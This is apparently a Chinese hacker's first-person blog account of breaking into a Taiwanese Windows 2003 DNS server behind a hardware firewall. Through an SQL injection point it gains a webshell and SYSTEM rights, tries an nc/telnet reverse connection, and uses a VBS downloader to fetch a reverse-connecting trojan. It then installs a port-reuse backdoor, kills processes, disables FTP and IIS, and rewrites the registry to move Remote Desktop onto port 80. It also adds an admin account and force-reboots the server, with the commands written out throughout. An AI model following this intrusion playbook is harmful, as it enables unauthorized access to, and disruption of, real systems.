入侵藏在防火墙后面的机子

事情是这样的:
遭遇一台湾的dns服务器,win2003 server

扫描器报告的开放端口:21,53,80

ok,弄到一个sa权限的注射点,很爽得拿到一个webshell,透过sqlrootkit,俺就是system权限了.本以为对方菜到家了.谁知故事才刚刚开始.

ipconfig /all
不是内网机子,只有一个外网ip.ok
net start  
terminal service开放
netstat -na
3389端口在的
保险期间:reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
端口确实是3389

因为前面通过查看服务看到系统防火墙服务开启了,所以顺便
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
查下是否防火墙屏蔽端口,结果是没有.

接着本地 nc -v -l -p 99
对方:telnet myip 99
等了一会没反应

嗯?连不到我? ping www.163.com  正常返回值
ping myip 由于我开着系统自带的防火墙,就用sniffer监听下数据,结果是对方能ping到我.怎么回事呢?

写了个vbs下载脚本上去,下载了个反弹的马试试,结果不上线(意料中)马是绝对安装成功的.安装端口复用的后门,成功安装,可依然连不上去

由于不能telnet 我本机监听的端口,端口转发行不通

难道是tcp/ip筛选?

regedit  -e 导出了关于tcp/ip的几个位置,查看了下,值都是0,也就是没有配置IPSEC? 再次导出ip安全策略,下回本地,导入看了下,也是默认没有任何特殊配置软防?有可能.于是我tasklist 查看了进程,taskkill掉所有可疑的.(事实上我确实不能找到有软防存在的迹象) 翻遍了整个目录都没有踪迹.

最后的可能 硬防! 怎么突破呢?  我无法对硬防进行操作,只能在已经开放的端口上做文章了.于是 sc config msftpsvc start= disabled 把ftp服务禁用  导出终端服务关于端口配置的两处

regedit -e C:\1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
regedit -e C:\2.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

修改为21的16进制值 15 ,regedit -s c:\1.reg 这样导入两个改过的注册表文件,这样终端端口就变成21了.

shutdown -f -t 3 -r 3秒后强制重启服务器.
很快重启完成,netstat -na 3389没有了,21有.兴奋ing,谁知道,本地连接居然还是连不上去.想不明白,继续,配置个radmin,连接端口为21,先sc 禁用终端服务,重启后,安装radmin.结果是没有安装成功.

奇怪的是,我在radmin连接器里新建连接,端口指向21的时候显示21端口是open的,而通过sqlrootkit执行netstat -na  却看不到21端口存在.问题终于清楚了.

看来唯一能下手的只有 80了

ok,修改终端服务端口为80,sc禁用 iisadmin/w3svc/httpfilter  添加管理用户 重启服务器

1分钟不到,终于登上了可爱的终端.

进去的方式真可谓强暴了.